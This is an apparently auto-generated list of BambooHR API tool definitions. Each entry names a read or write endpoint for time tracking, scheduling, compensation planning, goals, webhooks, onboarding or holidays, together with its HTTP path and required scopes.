bamboohr_get_api_v1_meta_timezones (read) — List timezones via GET /api/v1/meta/timezones GET /api/v1/bamboohr/api/v1/meta/timezones. Scopes: none. bamboohr_get_api_v1_meta_timezones_by_id (read) — Get timezone by ID via GET /api/v1/meta/timezones/{id} GET /api/v1/bamboohr/api/v1/meta/timezones/{id}. Scopes: meta. bamboohr_get_api_v1_meta_timezones_by_zip_by_zip (read) — Get timezone by ZIP code via GET /api/v1/meta/timezones/by-zip/{zip} GET /api/v1/bamboohr/api/v1/meta/timezones/by-zip/{zip}. Scopes: meta. bamboohr_get_api_v1_new_hire_packets (read) — List new hire packets via GET /api/v1/new-hire-packets GET /api/v1/bamboohr/api/v1/new-hire-packets. Scopes: onboarding. bamboohr_get_api_v1_new_hire_packets_by_id (read) — Get new hire packet by id via GET /api/v1/new-hire-packets/{id} GET /api/v1/bamboohr/api/v1/new-hire-packets/{id}. Scopes: onboarding. bamboohr_get_api_v1_onboarding_new_hire_widget (read) — Get welcome new hires widget via GET /api/v1/onboarding/new-hire-widget GET /api/v1/bamboohr/api/v1/onboarding/new-hire-widget. Scopes: onboarding. bamboohr_get_api_v1_pay_grades_and_bands (read) — Get published levels and bands via GET /api/v1/pay-grades-and-bands GET /api/v1/bamboohr/api/v1/pay-grades-and-bands. Scopes: pay_grades_and_bands. bamboohr_get_api_v1_pay_grades_and_bands_job_titles (read) — Get job titles and level assignments via GET /api/v1/pay-grades-and-bands/job-titles GET /api/v1/bamboohr/api/v1/pay-grades-and-bands/job-titles. Scopes: pay_grades_and_bands. bamboohr_get_api_v1_pay_grades_and_bands_job_titles_with_employees (read) — List job titles with employees via GET /api/v1/pay-grades-and-bands/job-titles-with-employees GET /api/v1/bamboohr/api/v1/pay-grades-and-bands/job-titles-with-employees. Scopes: pay_grades_and_bands. bamboohr_get_api_v1_pay_grades_and_bands_levels (read) — List compensation level groups and levels via GET /api/v1/pay-grades-and-bands/levels GET /api/v1/bamboohr/api/v1/pay-grades-and-bands/levels. Scopes: pay_grades_and_bands. bamboohr_get_api_v1_pay_grades_and_bands_pay_bands (read) — Get pay bands via GET /api/v1/pay-grades-and-bands/pay-bands GET /api/v1/bamboohr/api/v1/pay-grades-and-bands/pay-bands. Scopes: pay_grades_and_bands. bamboohr_get_api_v1_pay_grades_and_bands_review (read) — Get levels and bands review via GET /api/v1/pay-grades-and-bands/review GET /api/v1/bamboohr/api/v1/pay-grades-and-bands/review. Scopes: pay_grades_and_bands. bamboohr_get_api_v1_pay_grades_and_bands_status (read) — Get levels and bands status via GET /api/v1/pay-grades-and-bands/status GET /api/v1/bamboohr/api/v1/pay-grades-and-bands/status. Scopes: pay_grades_and_bands. bamboohr_get_api_v1_pay_grades_and_bands_status_counts (read) — Get compensation level group status counts via GET /api/v1/pay-grades-and-bands/status-counts GET /api/v1/bamboohr/api/v1/pay-grades-and-bands/status-counts. Scopes: pay_grades_and_bands. bamboohr_get_api_v1_performance_employees_by_employeeid_goals (read) — List goals via GET /api/v1/performance/employees/{employeeId}/goals GET /api/v1/bamboohr/api/v1/performance/employees/{employeeId}/goals. Scopes: goal. bamboohr_get_api_v1_performance_employees_by_employeeid_goals_aggregate (read) — Get goals aggregate (v1) via GET /api/v1/performance/employees/{employeeId}/goals/aggregate GET /api/v1/bamboohr/api/v1/performance/employees/{employeeId}/goals/aggregate. Scopes: goal. bamboohr_get_api_v1_performance_employees_by_employeeid_goals_alignmentoptions (read) — Get alignable goal options via GET /api/v1/performance/employees/{employeeId}/goals/alignmentOptions GET /api/v1/bamboohr/api/v1/performance/employees/{employeeId}/goals/alignmentOptions. Scopes: goal. bamboohr_get_api_v1_performance_employees_by_employeeid_goals_by_goalid_aggregate (read) — Get goal aggregate via GET /api/v1/performance/employees/{employeeId}/goals/{goalId}/aggregate GET /api/v1/bamboohr/api/v1/performance/employees/{employeeId}/goals/{goalId}/aggregate. Scopes: goal. bamboohr_get_api_v1_performance_employees_by_employeeid_goals_by_goalid_comments (read) — List goal comments via GET /api/v1/performance/employees/{employeeId}/goals/{goalId}/comments GET /api/v1/bamboohr/api/v1/performance/employees/{employeeId}/goals/{goalId}/comments. Scopes: goal. bamboohr_get_api_v1_performance_employees_by_employeeid_goals_cancreategoals (read) — Get goal creation permission via GET /api/v1/performance/employees/{employeeId}/goals/canCreateGoals GET /api/v1/bamboohr/api/v1/performance/employees/{employeeId}/goals/canCreateGoals. Scopes: goal. bamboohr_get_api_v1_performance_employees_by_employeeid_goals_filters (read) — Get goal filters (v1) via GET /api/v1/performance/employees/{employeeId}/goals/filters GET /api/v1/bamboohr/api/v1/performance/employees/{employeeId}/goals/filters. Scopes: goal. bamboohr_get_api_v1_performance_employees_by_employeeid_goals_shareoptions (read) — List goal sharing options via GET /api/v1/performance/employees/{employeeId}/goals/shareOptions GET /api/v1/bamboohr/api/v1/performance/employees/{employeeId}/goals/shareOptions. Scopes: goal. bamboohr_get_api_v1_scheduling_schedules (read) — List schedules via GET /api/v1/scheduling/schedules. Also authorised by: time_tracking GET /api/v1/bamboohr/api/v1/scheduling/schedules. Scopes: scheduling:schedules. bamboohr_get_api_v1_scheduling_schedules_by_id (read) — Get schedule via GET /api/v1/scheduling/schedules/{id}. Also authorised by: time_tracking GET /api/v1/bamboohr/api/v1/scheduling/schedules/{id}. Scopes: scheduling:schedules. bamboohr_get_api_v1_scheduling_shift_assessments (read) — List shift assessments via GET /api/v1/scheduling/shift-assessments GET /api/v1/bamboohr/api/v1/scheduling/shift-assessments. Scopes: scheduling:shifts. bamboohr_get_api_v1_scheduling_shifts (read) — List shifts via GET /api/v1/scheduling/shifts. Also authorised by: time_tracking GET /api/v1/bamboohr/api/v1/scheduling/shifts. Scopes: scheduling:shifts. bamboohr_get_api_v1_scheduling_shifts_by_id (read) — Get shift via GET /api/v1/scheduling/shifts/{id}. Also authorised by: time_tracking GET /api/v1/bamboohr/api/v1/scheduling/shifts/{id}. Scopes: scheduling:shifts. bamboohr_get_api_v1_scheduling_timezones (read) — List timezones via GET /api/v1/scheduling/timezones. Also authorised by: time_tracking GET /api/v1/bamboohr/api/v1/scheduling/timezones. Scopes: scheduling:schedules. bamboohr_get_api_v1_time_tracking_break_assessments (read) — List break assessments via GET /api/v1/time-tracking/break-assessments GET /api/v1/bamboohr/api/v1/time-tracking/break-assessments. Scopes: time_tracking:breaks. bamboohr_get_api_v1_time_tracking_break_policies (read) — List break policies via GET /api/v1/time-tracking/break-policies GET /api/v1/bamboohr/api/v1/time-tracking/break-policies. Scopes: time_tracking:breaks. bamboohr_get_api_v1_time_tracking_break_policies_by_id (read) — Get break policy via GET /api/v1/time-tracking/break-policies/{id} GET /api/v1/bamboohr/api/v1/time-tracking/break-policies/{id}. Scopes: time_tracking:breaks. bamboohr_get_api_v1_time_tracking_break_policies_by_id_breaks (read) — List breaks for break policy via GET /api/v1/time-tracking/break-policies/{id}/breaks GET /api/v1/bamboohr/api/v1/time-tracking/break-policies/{id}/breaks. Scopes: time_tracking:breaks. bamboohr_get_api_v1_time_tracking_break_policies_by_id_employees (read) — List break policy employees via GET /api/v1/time-tracking/break-policies/{id}/employees GET /api/v1/bamboohr/api/v1/time-tracking/break-policies/{id}/employees. Scopes: time_tracking:breaks. bamboohr_get_api_v1_time_tracking_breaks_by_id (read) — Get break via GET /api/v1/time-tracking/breaks/{id} GET /api/v1/bamboohr/api/v1/time-tracking/breaks/{id}. Scopes: time_tracking:breaks. bamboohr_get_api_v1_time_tracking_clock_entries (read) — List clock entries via GET /api/v1/time-tracking/clock-entries GET /api/v1/bamboohr/api/v1/time-tracking/clock-entries. Scopes: time_tracking:timesheets. bamboohr_get_api_v1_time_tracking_clock_entries_by_id (read) — Get clock entry via GET /api/v1/time-tracking/clock-entries/{id} GET /api/v1/bamboohr/api/v1/time-tracking/clock-entries/{id}. Scopes: time_tracking:timesheets. bamboohr_get_api_v1_time_tracking_configurations (read) — List configurations via GET /api/v1/time-tracking/configurations GET /api/v1/bamboohr/api/v1/time-tracking/configurations. Scopes: time_tracking:configurations. bamboohr_get_api_v1_time_tracking_configurations_by_id (read) — Get configuration via GET /api/v1/time-tracking/configurations/{id} GET /api/v1/bamboohr/api/v1/time-tracking/configurations/{id}. Scopes: time_tracking:configurations. bamboohr_get_api_v1_time_tracking_employees (read) — List enrolled employees via GET /api/v1/time-tracking/employees GET /api/v1/bamboohr/api/v1/time-tracking/employees. Scopes: time_tracking:employees. bamboohr_get_api_v1_time_tracking_employees_by_employeeid (read) — Get employee enrollment via GET /api/v1/time-tracking/employees/{employeeId} GET /api/v1/bamboohr/api/v1/time-tracking/employees/{employeeId}. Scopes: time_tracking:employees. bamboohr_get_api_v1_time_tracking_employees_by_id_break_availabilities (read) — List employee break availabilities via GET /api/v1/time-tracking/employees/{id}/break-availabilities GET /api/v1/bamboohr/api/v1/time-tracking/employees/{id}/break-availabilities. Scopes: time_tracking:breaks. bamboohr_get_api_v1_time_tracking_employees_by_id_break_policies (read) — List employee break policies via GET /api/v1/time-tracking/employees/{id}/break-policies GET /api/v1/bamboohr/api/v1/time-tracking/employees/{id}/break-policies. Scopes: time_tracking:breaks. bamboohr_get_api_v1_time_tracking_hour_entries (read) — List hour entries via GET /api/v1/time-tracking/hour-entries GET /api/v1/bamboohr/api/v1/time-tracking/hour-entries. Scopes: time_tracking:timesheets. bamboohr_get_api_v1_time_tracking_hour_entries_by_id (read) — Get hour entry via GET /api/v1/time-tracking/hour-entries/{id} GET /api/v1/bamboohr/api/v1/time-tracking/hour-entries/{id}. Scopes: time_tracking:timesheets. bamboohr_get_api_v1_time_tracking_kiosks (read) — List time tracking kiosks via GET /api/v1/time-tracking/kiosks GET /api/v1/bamboohr/api/v1/time-tracking/kiosks. Scopes: time_tracking:kiosks. bamboohr_get_api_v1_time_tracking_kiosks_by_id (read) — Get time tracking kiosk via GET /api/v1/time-tracking/kiosks/{id} GET /api/v1/bamboohr/api/v1/time-tracking/kiosks/{id}. Scopes: time_tracking:kiosks. bamboohr_get_api_v1_time_tracking_projects (read) — List time tracking projects via GET /api/v1/time-tracking/projects GET /api/v1/bamboohr/api/v1/time-tracking/projects. Scopes: time_tracking:project. bamboohr_get_api_v1_time_tracking_projects_by_id (read) — Get time tracking project via GET /api/v1/time-tracking/projects/{id} GET /api/v1/bamboohr/api/v1/time-tracking/projects/{id}. Scopes: time_tracking:project. bamboohr_get_api_v1_time_tracking_projects_by_projectid_tasks (read) — List time tracking project tasks via GET /api/v1/time-tracking/projects/{projectId}/tasks GET /api/v1/bamboohr/api/v1/time-tracking/projects/{projectId}/tasks. Scopes: time_tracking:project. bamboohr_get_api_v1_time_tracking_shift_differentials (read) — List time tracking shift differentials via GET /api/v1/time-tracking/shift-differentials GET /api/v1/bamboohr/api/v1/time-tracking/shift-differentials. Scopes: time_tracking:shift_differentials. bamboohr_get_api_v1_time_tracking_shift_differentials_by_id (read) — Get time tracking shift differential via GET /api/v1/time-tracking/shift-differentials/{id} GET /api/v1/bamboohr/api/v1/time-tracking/shift-differentials/{id}. Scopes: time_tracking:shift_differentials. bamboohr_get_api_v1_time_tracking_tasks_by_id (read) — Get time tracking task via GET /api/v1/time-tracking/tasks/{id} GET /api/v1/bamboohr/api/v1/time-tracking/tasks/{id}. Scopes: time_tracking:project. bamboohr_get_api_v1_time_tracking_time_clocks (read) — List time tracking time clocks via GET /api/v1/time-tracking/time-clocks GET /api/v1/bamboohr/api/v1/time-tracking/time-clocks. Scopes: time_tracking:time_clocks. bamboohr_get_api_v1_time_tracking_time_clocks_by_id (read) — Get time tracking time clock via GET /api/v1/time-tracking/time-clocks/{id} GET /api/v1/bamboohr/api/v1/time-tracking/time-clocks/{id}. Scopes: time_tracking:time_clocks. bamboohr_get_api_v1_time_tracking_timesheet_entries (read) — List timesheet entries via GET /api/v1/time_tracking/timesheet_entries GET /api/v1/bamboohr/api/v1/time_tracking/timesheet_entries. Scopes: time_tracking. bamboohr_get_api_v1_time_tracking_timesheets (read) — List timesheets via GET /api/v1/time-tracking/timesheets GET /api/v1/bamboohr/api/v1/time-tracking/timesheets. Scopes: time_tracking:timesheets. bamboohr_get_api_v1_time_tracking_timesheets_by_id (read) — Get timesheet via GET /api/v1/time-tracking/timesheets/{id} GET /api/v1/bamboohr/api/v1/time-tracking/timesheets/{id}. Scopes: time_tracking:timesheets. bamboohr_get_api_v1_time_tracking_timesheets_by_id_summary (read) — Get timesheet summary via GET /api/v1/time-tracking/timesheets/{id}/summary GET /api/v1/bamboohr/api/v1/time-tracking/timesheets/{id}/summary. Scopes: time_tracking:timesheets. bamboohr_get_api_v1_timetracking_record_by_id (read) — Get time tracking record via GET /api/v1/timetracking/record/{id} GET /api/v1/bamboohr/api/v1/timetracking/record/{id}. Scopes: time_tracking. bamboohr_get_api_v1_training_category (read) — List training categories via GET /api/v1/training/category GET /api/v1/bamboohr/api/v1/training/category. Scopes: training. bamboohr_get_api_v1_training_record_employee_by_employeeid (read) — List employee training records via GET /api/v1/training/record/employee/{employeeId} GET /api/v1/bamboohr/api/v1/training/record/employee/{employeeId}. Scopes: training. bamboohr_get_api_v1_training_type (read) — List training types via GET /api/v1/training/type GET /api/v1/bamboohr/api/v1/training/type. Scopes: training. bamboohr_get_api_v1_webhooks (read) — List webhooks via GET /api/v1/webhooks GET /api/v1/bamboohr/api/v1/webhooks. Scopes: webhooks. bamboohr_get_api_v1_webhooks_by_id (read) — Get webhook via GET /api/v1/webhooks/{id} GET /api/v1/bamboohr/api/v1/webhooks/{id}. Scopes: webhooks. bamboohr_get_api_v1_webhooks_by_id_log (read) — List webhook logs via GET /api/v1/webhooks/{id}/log GET /api/v1/bamboohr/api/v1/webhooks/{id}/log. Scopes: webhooks. bamboohr_get_api_v1_webhooks_monitor_fields (read) — List monitor fields via GET /api/v1/webhooks/monitor_fields GET /api/v1/bamboohr/api/v1/webhooks/monitor_fields. Scopes: webhooks. bamboohr_get_api_v1_webhooks_post_fields (read) — Get webhook post fields via GET /api/v1/webhooks/post-fields GET /api/v1/bamboohr/api/v1/webhooks/post-fields. Scopes: webhooks. bamboohr_patch_api_v1_company_profile_data_company_information (write) — Update company information (phone, address, legal name) via PATCH /api/v1/company-profile-data/company-information PATCH /api/v1/bamboohr/api/v1/company-profile-data/company-information. Scopes: company:details.write. bamboohr_patch_api_v1_holidays_by_id (write) — Update company holiday via PATCH /api/v1/holidays/{id} PATCH /api/v1/bamboohr/api/v1/holidays/{id}. Scopes: holidays.write. bamboohr_patch_api_v1_hris_custom_fields_by_customfieldid_list_values_by_listvalueid (write) — Edit custom field list value via PATCH /api/v1/hris/custom-fields/{customFieldId}/list-values/{listValueId} PATCH /api/v1/bamboohr/api/v1/hris/custom-fields/{customFieldId}/list-values/{listValueId}. Scopes: employee:custom_fields.write. bamboohr_patch_api_v1_scheduling_schedules_by_id (write) — Update schedule via PATCH /api/v1/scheduling/schedules/{id}. Also authorised by: time_tracking.write PATCH /api/v1/bamboohr/api/v1/scheduling/schedules/{id}. Scopes: scheduling:schedules.write. bamboohr_patch_api_v1_scheduling_shifts_by_id (write) — Update shift via PATCH /api/v1/scheduling/shifts/{id}. Also authorised by: time_tracking.write PATCH /api/v1/bamboohr/api/v1/scheduling/shifts/{id}. Scopes: scheduling:shifts.write. bamboohr_patch_api_v1_time_tracking_break_policies_by_id (write) — Update break policy via PATCH /api/v1/time-tracking/break-policies/{id} PATCH /api/v1/bamboohr/api/v1/time-tracking/break-policies/{id}. Scopes: time_tracking:breaks.write. bamboohr_patch_api_v1_time_tracking_breaks_by_id (write) — Update break via PATCH /api/v1/time-tracking/breaks/{id} PATCH /api/v1/bamboohr/api/v1/time-tracking/breaks/{id}. Scopes: time_tracking:breaks.write. bamboohr_patch_api_v1_time_tracking_clock_entries_by_id (write) — Update clock entry via PATCH /api/v1/time-tracking/clock-entries/{id} PATCH /api/v1/bamboohr/api/v1/time-tracking/clock-entries/{id}. Scopes: time_tracking:timesheets.write. bamboohr_patch_api_v1_time_tracking_configurations_by_id (write) — Update configuration via PATCH /api/v1/time-tracking/configurations/{id} PATCH /api/v1/bamboohr/api/v1/time-tracking/configurations/{id}. Scopes: time_tracking:configurations.write. bamboohr_patch_api_v1_time_tracking_employees_by_employeeid (write) — Update employee enrollment via PATCH /api/v1/time-tracking/employees/{employeeId} PATCH /api/v1/bamboohr/api/v1/time-tracking/employees/{employeeId}. Scopes: time_tracking:employees.write. bamboohr_patch_api_v1_time_tracking_hour_entries_by_id (write) — Update hour entry via PATCH /api/v1/time-tracking/hour-entries/{id} PATCH /api/v1/bamboohr/api/v1/time-tracking/hour-entries/{id}. Scopes: time_tracking:timesheets.write. bamboohr_patch_api_v1_time_tracking_kiosks_by_id (write) — Update time tracking kiosk via PATCH /api/v1/time-tracking/kiosks/{id} PATCH /api/v1/bamboohr/api/v1/time-tracking/kiosks/{id}. Scopes: time_tracking:kiosks.write. bamboohr_patch_api_v1_time_tracking_projects_by_id (write) — Update time tracking project via PATCH /api/v1/time-tracking/projects/{id} PATCH /api/v1/bamboohr/api/v1/time-tracking/projects/{id}. Scopes: time_tracking:project.write. bamboohr_patch_api_v1_time_tracking_shift_differentials_by_id (write) — Update time tracking shift differential via PATCH /api/v1/time-tracking/shift-differentials/{id} PATCH /api/v1/bamboohr/api/v1/time-tracking/shift-differentials/{id}. Scopes: time_tracking:shift_differentials.write. bamboohr_patch_api_v1_time_tracking_tasks_by_id (write) — Update time tracking task via PATCH /api/v1/time-tracking/tasks/{id} PATCH /api/v1/bamboohr/api/v1/time-tracking/tasks/{id}. Scopes: time_tracking:project.write. bamboohr_patch_api_v1_time_tracking_time_clocks_by_id (write) — Update time tracking time clock via PATCH /api/v1/time-tracking/time-clocks/{id} PATCH /api/v1/bamboohr/api/v1/time-tracking/time-clocks/{id}. Scopes: time_tracking:time_clocks.write. bamboohr_post_api_v1_2_datasets_by_datasetname_field_options (write) — Get field options (v1.2) via POST /api/v1_2/datasets/{datasetName}/field-options POST /api/v1/bamboohr/api/v1_2/datasets/{datasetName}/field-options. Scopes: field. bamboohr_post_api_v1_alert_configurations (write) — Create alert configuration via POST /api/v1/alert-configurations POST /api/v1/bamboohr/api/v1/alert-configurations. Scopes: alerts.write. bamboohr_post_api_v1_applicant_tracking_applications_by_applicationid_comments (write) — Create job application comment via POST /api/v1/applicant_tracking/applications/{applicationId}/comments POST /api/v1/bamboohr/api/v1/applicant_tracking/applications/{applicationId}/comments. Scopes: hiring:applications.write. bamboohr_post_api_v1_applicant_tracking_applications_by_applicationid_status (write) — Update applicant status via POST /api/v1/applicant_tracking/applications/{applicationId}/status POST /api/v1/bamboohr/api/v1/applicant_tracking/applications/{applicationId}/status. Scopes: hiring:applications.write. bamboohr_post_api_v1_compensation_benchmarks (write) — Create compensation benchmark via POST /api/v1/compensation/benchmarks POST /api/v1/bamboohr/api/v1/compensation/benchmarks. Scopes: compensation_benchmarks.write. bamboohr_post_api_v1_compensation_benchmarks_sources (write) — Create compensation benchmark source via POST /api/v1/compensation/benchmarks/sources POST /api/v1/bamboohr/api/v1/compensation/benchmarks/sources. Scopes: compensation_benchmarks.write. bamboohr_post_api_v1_compensation_planning_cycles (write) — Create compensation planning cycle via POST /api/v1/compensation/planning_cycles POST /api/v1/bamboohr/api/v1/compensation/planning_cycles. Scopes: planning_cycles.write. bamboohr_post_api_v1_compensation_planning_cycles_by_id_admins (write) — Add cycle admins via POST /api/v1/compensation/planning_cycles/{id}/admins POST /api/v1/bamboohr/api/v1/compensation/planning_cycles/{id}/admins. Scopes: planning_cycles.write. bamboohr_post_api_v1_compensation_planning_cycles_by_id_approvals_final_approver_by_employeeid (write) — Set final approver via POST /api/v1/compensation/planning_cycles/{id}/approvals/final_approver/{employeeId} POST /api/v1/bamboohr/api/v1/compensation/planning_cycles/{id}/approvals/final_approver/{employeeId}. Scopes: planning_cycles.write. bamboohr_post_api_v1_compensation_planning_cycles_by_id_budgets_import (write) — Import budget breakdown via POST /api/v1/compensation/planning_cycles/{id}/budgets/import POST /api/v1/bamboohr/api/v1/compensation/planning_cycles/{id}/budgets/import. Scopes: planning_cycles.write. bamboohr_post_api_v1_compensation_planning_cycles_by_id_employees (write) — Add employees to cycle via POST /api/v1/compensation/planning_cycles/{id}/employees POST /api/v1/bamboohr/api/v1/compensation/planning_cycles/{id}/employees. Scopes: planning_cycles.write. bamboohr_post_api_v1_compensation_planning_cycles_by_id_recommendations (write) — Save recommendations via POST /api/v1/compensation/planning_cycles/{id}/recommendations POST /api/v1/bamboohr/api/v1/compensation/planning_cycles/{id}/recommendations. Scopes: planning_cycles.write. bamboohr_post_api_v1_compensation_planning_cycles_by_id_recommendations_send (write) — Send recommendations to next stage via POST /api/v1/compensation/planning_cycles/{id}/recommendations/send POST /api/v1/bamboohr/api/v1/compensation/planning_cycles/{id}/recommendations/send. Scopes: planning_cycles.write. bamboohr_post_api_v1_compensation_total_rewards_employees (write) — Add employees to total rewards via POST /api/v1/compensation/total_rewards/employees POST /api/v1/bamboohr/api/v1/compensation/total_rewards/employees. Scopes: total_rewards.write. bamboohr_post_api_v1_datasets_by_datasetname (write) — Get data from dataset (v1) via POST /api/v1/datasets/{datasetName} POST /api/v1/bamboohr/api/v1/datasets/{datasetName}. Scopes: report. bamboohr_post_api_v1_datasets_by_datasetname_field_options (write) — Get field options (v1) via POST /api/v1/datasets/{datasetName}/field-options POST /api/v1/bamboohr/api/v1/datasets/{datasetName}/field-options. Scopes: field. bamboohr_post_api_v1_employee_verifications_users_by_userid_send_email (write) — Send employee verification lifecycle email by user and email type via POST /api/v1/employee-verifications/users/{userId}/send-email POST /api/v1/bamboohr/api/v1/employee-verifications/users/{userId}/send-email. Scopes: employee_verifications.write. bamboohr_post_api_v1_employees_by_employeeid_onboarding_experiences (write) — Create employee onboarding experience via POST /api/v1/employees/{employeeId}/onboarding-experiences POST /api/v1/bamboohr/api/v1/employees/{employeeId}/onboarding-experiences. Scopes: onboarding.write. bamboohr_post_api_v1_files_by_fileid (write) — Update company file via POST /api/v1/files/{fileId} POST /api/v1/bamboohr/api/v1/files/{fileId}. Scopes: company_file.write. bamboohr_post_api_v1_holidays (write) — Create company holiday via POST /api/v1/holidays POST /api/v1/bamboohr/api/v1/holidays. Scopes: holidays.write. bamboohr_post_api_v1_holidays_bulk_insert (write) — Bulk create company holidays via POST /api/v1/holidays/bulk-insert POST /api/v1/bamboohr/api/v1/holidays/bulk-insert. Scopes: holidays.write. bamboohr_post_api_v1_hris_custom_fields (write) — Create custom field via POST /api/v1/hris/custom-fields POST /api/v1/bamboohr/api/v1/hris/custom-fields. Scopes: employee:custom_fields.write. bamboohr_post_api_v1_hris_custom_fields_by_customfieldid_list_values (write) — Add custom field list value via POST /api/v1/hris/custom-fields/{customFieldId}/list-values POST /api/v1/bamboohr/api/v1/hris/custom-fields/{customFieldId}/list-values. Scopes: employee:custom_fields.write. bamboohr_post_api_v1_hris_custom_fields_unarchive (write) — Unarchive custom fields via POST /api/v1/hris/custom-fields/unarchive POST /api/v1/bamboohr/api/v1/hris/custom-fields/unarchive. Scopes: employee:custom_fields.write. bamboohr_post_api_v1_hris_org_locations (write) — Create a job location via POST /api/v1/hris/org/locations POST /api/v1/bamboohr/api/v1/hris/org/locations. Scopes: field.write. bamboohr_post_api_v1_new_hire_packets (write) — Create new hire packet via POST /api/v1/new-hire-packets POST /api/v1/bamboohr/api/v1/new-hire-packets. Scopes: onboarding.write. bamboohr_post_api_v1_new_hire_packets_by_id_cancel (write) — Cancel new hire packet via POST /api/v1/new-hire-packets/{id}/cancel POST /api/v1/bamboohr/api/v1/new-hire-packets/{id}/cancel. Scopes: onboarding.write. bamboohr_post_api_v1_new_hire_packets_by_id_send (write) — Send new hire packet via POST /api/v1/new-hire-packets/{id}/send POST /api/v1/bamboohr/api/v1/new-hire-packets/{id}/send. Scopes: onboarding.write. bamboohr_post_api_v1_pay_grades_and_bands_publish (write) — Publish draft compensation level groups via POST /api/v1/pay-grades-and-bands/publish POST /api/v1/bamboohr/api/v1/pay-grades-and-bands/publish. Scopes: pay_grades_and_bands.write. bamboohr_post_api_v1_performance_employees_by_employeeid_goals (write) — Create goal via POST /api/v1/performance/employees/{employeeId}/goals POST /api/v1/bamboohr/api/v1/performance/employees/{employeeId}/goals. Scopes: goal.write. bamboohr_post_api_v1_performance_employees_by_employeeid_goals_by_goalid_close (write) — Close goal via POST /api/v1/performance/employees/{employeeId}/goals/{goalId}/close POST /api/v1/bamboohr/api/v1/performance/employees/{employeeId}/goals/{goalId}/close. Scopes: goal.write. bamboohr_post_api_v1_performance_employees_by_employeeid_goals_by_goalid_comments (write) — Create goal comment via POST /api/v1/performance/employees/{employeeId}/goals/{goalId}/comments POST /api/v1/bamboohr/api/v1/performance/employees/{employeeId}/goals/{goalId}/comments. Scopes: goal.write. bamboohr_post_api_v1_performance_employees_by_employeeid_goals_by_goalid_reopen (write) — Reopen goal via POST /api/v1/performance/employees/{employeeId}/goals/{goalId}/reopen POST /api/v1/bamboohr/api/v1/performance/employees/{employeeId}/goals/{goalId}/reopen. Scopes: goal.write. bamboohr_post_api_v1_scheduling_schedules (write) — Create schedule via POST /api/v1/scheduling/schedules. Also authorised by: time_tracking.write POST /api/v1/bamboohr/api/v1/scheduling/schedules. Scopes: scheduling:schedules.write. bamboohr_post_api_v1_scheduling_shifts (write) — Create shift via POST /api/v1/scheduling/shifts. Also authorised by: time_tracking.write POST /api/v1/bamboohr/api/v1/scheduling/shifts. Scopes: scheduling:shifts.write. bamboohr_post_api_v1_scheduling_shifts_publish (write) — Publish shifts via POST /api/v1/scheduling/shifts/publish. Also authorised by: time_tracking.write POST /api/v1/bamboohr/api/v1/scheduling/shifts/publish. Scopes: scheduling:shifts.write. bamboohr_post_api_v1_time_tracking_break_policies (write) — Create break policy via POST /api/v1/time-tracking/break-policies POST /api/v1/bamboohr/api/v1/time-tracking/break-policies. Scopes: time_tracking:breaks.write. bamboohr_post_api_v1_time_tracking_break_policies_by_id_assign (write) — Assign employees to break policy via POST /api/v1/time-tracking/break-policies/{id}/assign POST /api/v1/bamboohr/api/v1/time-tracking/break-policies/{id}/assign. Scopes: time_tracking:breaks.write. bamboohr_post_api_v1_time_tracking_break_policies_by_id_breaks (write) — Create break via POST /api/v1/time-tracking/break-policies/{id}/breaks POST /api/v1/bamboohr/api/v1/time-tracking/break-policies/{id}/breaks. Scopes: time_tracking:breaks.write. bamboohr_post_api_v1_time_tracking_break_policies_by_id_unassign (write) — Unassign employees from break policy via POST /api/v1/time-tracking/break-policies/{id}/unassign POST /api/v1/bamboohr/api/v1/time-tracking/break-policies/{id}/unassign. Scopes: time_tracking:breaks.write. bamboohr_post_api_v1_time_tracking_break_policies_suggestions (write) — Get break policy suggestions via POST /api/v1/time-tracking/break-policies/suggestions POST /api/v1/bamboohr/api/v1/time-tracking/break-policies/suggestions. Scopes: time_tracking:breaks. bamboohr_post_api_v1_time_tracking_clock_entries (write) — Create clock entry via POST /api/v1/time-tracking/clock-entries POST /api/v1/bamboohr/api/v1/time-tracking/clock-entries. Scopes: time_tracking:timesheets.write. bamboohr_post_api_v1_time_tracking_clock_entries_delete (write) — Delete timesheet clock entries via POST /api/v1/time_tracking/clock_entries/delete POST /api/v1/bamboohr/api/v1/time_tracking/clock_entries/delete. Scopes: time_tracking.write. bamboohr_post_api_v1_time_tracking_clock_entries_store (write) — Create or update timesheet clock entries via POST /api/v1/time_tracking/clock_entries/store POST /api/v1/bamboohr/api/v1/time_tracking/clock_entries/store. Scopes: time_tracking.write. bamboohr_post_api_v1_time_tracking_clock_ins (write) — Clock in via POST /api/v1/time-tracking/clock-ins POST /api/v1/bamboohr/api/v1/time-tracking/clock-ins. Scopes: time_tracking:timesheets.write. bamboohr_post_api_v1_time_tracking_clock_outs (write) — Clock out via POST /api/v1/time-tracking/clock-outs POST /api/v1/bamboohr/api/v1/time-tracking/clock-outs. Scopes: time_tracking:timesheets.write. bamboohr_post_api_v1_time_tracking_configurations (write) — Create configuration via POST /api/v1/time-tracking/configurations POST /api/v1/bamboohr/api/v1/time-tracking/configurations. Scopes: time_tracking:configurations.write. bamboohr_post_api_v1_time_tracking_employees_bulk_upsert (write) — Bulk upsert employee enrollments via POST /api/v1/time-tracking/employees/bulk-upsert POST /api/v1/bamboohr/api/v1/time-tracking/employees/bulk-upsert. Scopes: time_tracking:employees.write. bamboohr_post_api_v1_time_tracking_employees_by_employeeid_clock_in (write) — Create timesheet Clock-In entry via POST /api/v1/time_tracking/employees/{employeeId}/clock_in POST /api/v1/bamboohr/api/v1/time_tracking/employees/{employeeId}/clock_in. Scopes: time_tracking.write. bamboohr_post_api_v1_time_tracking_employees_by_employeeid_clock_out (write) — Create timesheet Clock-Out entry via POST /api/v1/time_tracking/employees/{employeeId}/clock_out POST /api/v1/bamboohr/api/v1/time_tracking/employees/{employeeId}/clock_out. Scopes: time_tracking.write. bamboohr_post_api_v1_time_tracking_hour_entries (write) — Create hour entry via POST /api/v1/time-tracking/hour-entries POST /api/v1/bamboohr/api/v1/time-tracking/hour-entries. Scopes: time_tracking:timesheets.write. bamboohr_post_api_v1_time_tracking_hour_entries_delete (write) — Delete timesheet hour entries via POST /api/v1/time_tracking/hour_entries/delete POST /api/v1/bamboohr/api/v1/time_tracking/hour_entries/delete. Scopes: time_tracking.write. bamboohr_post_api_v1_time_tracking_hour_entries_store (write) — Create or update timesheet hour entries via POST /api/v1/time_tracking/hour_entries/store POST /api/v1/bamboohr/api/v1/time_tracking/hour_entries/store. Scopes: time_tracking.write. bamboohr_post_api_v1_time_tracking_projects (write) — Create time tracking project via POST /api/v1/time-tracking/projects POST /api/v1/bamboohr/api/v1/time-tracking/projects. Scopes: time_tracking:project.write. 